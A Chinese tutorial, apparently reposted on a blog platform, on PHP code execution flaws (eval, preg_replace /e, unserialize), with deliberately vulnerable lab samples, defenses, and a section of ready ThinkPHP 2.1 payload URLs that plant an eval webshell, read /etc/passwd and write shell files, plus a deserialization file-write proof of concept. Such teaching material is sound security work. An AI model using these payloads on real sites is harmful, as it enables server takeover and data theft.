代码执行漏洞

代码执行

当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,
没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。

相关函数

PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能

phpcms中的string2array函数

这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组

array(  //这个是字符串形式的数组,它并不是数组,而是字符串
    'upload_maxsize' => '2048',
    'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 
    'watermark_enable' => '1',
    'watermark_minwidth' => '300',
    'watermark_minheight' => '300',
    'watermark_img' => '/statics/images/water/mark.png',
    'watermark_pct' => '85',
    'watermark_quality' => '80',
    'watermark_pos' => '9',
)
function string2array($data) {
    //这个函数可以将字符串$data转化为数组
    if($data == '') 
        return array(); 
    @eval("\$array = $data;"); 
        return $array;
}

漏洞危害

执行代码
让网站写shell
甚至控制服务器

漏洞分类(也是利用点)

执行代码的函数:eval、assert
callback函数:preg_replace + /e模式
反序列化:unserialize()(反序列化函数)

搭建环境实验

  • 示例一
<?php
    $data = $_GET['data'];
    eval("\$ret = $data;");
    echo $ret;
?>
code_execution_eval1.png
  • 示例二
<?php
    $data = $_GET['data'];
    eval("\$ret = strtolower('$data');");
    echo $ret;
?>
code_execution_eval2.png
  • 示例三
<?php
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");");
    echo $ret;
?>
code_execution_eval3.png

code_execution_eval4.png
  • 示例四
<?php
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");");
    echo $ret;
?>
code_execution_eval5.png

code_execution_eval6.png
  • 示例五
    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    /e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后)
<?php
    $data = $_GET['data'];
    // echo $data;
    preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1"',$data);
    echo $ret;
?>
code_execution_preg_replace.png

具体操作

# 一般找CMS相应版本漏洞,如ThinkPHP2.1
* 一句话
    http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到当前路径
    http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 读文件
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
    POST的数据为:f=/etc/passwd
* 写shell
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
    POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>

漏洞防御

  • 使用json保存数组,当读取时就不需要使用eval了
  • 对于必须使用eval的地方,一定严格处理用户数据
  • 字符串使用单引号包括可控代码,插入前使用addslashes转义
  • 放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
  • 若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象

关于反序列化漏洞

序列化:使用函数serialize()可将实例序列化为字符串
反序列化:使用函数unserialize()可将序列化的字符串还原
若服务端有如下代码:

<?php
    class foo{
        public $file = "test.txt";
        public $data = "123456";

        function __destruct(){
            file_put_contents($this->file,$this->data);
        }
    }

    $d = $_REQUEST['str'];
    var_dump($d);
    echo "<br />";
    $tc = unserialize(base64_decode($d));
    var_dump($tc);
?>

客户端可构造如下代码生成序列化后的字符串提交给服务端,
服务端就会生成文件xx.php,内容为<b><?php phpinfo(); ?></b>:

<?php
    class foo {
        public $file = "test.txt";
        public $data = "123456";
        
        function __destruct() {
            file_put_contents($this->file, $this->data);
        }
    }

    $f = new foo();
    $f->file = "xx.php";
    $f->data = "<?php phpinfo(); ?>";
    echo base64_encode(serialize($f));
?>

原文链接:http://wyb0.com/posts/code-execution-vulnerabilities/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容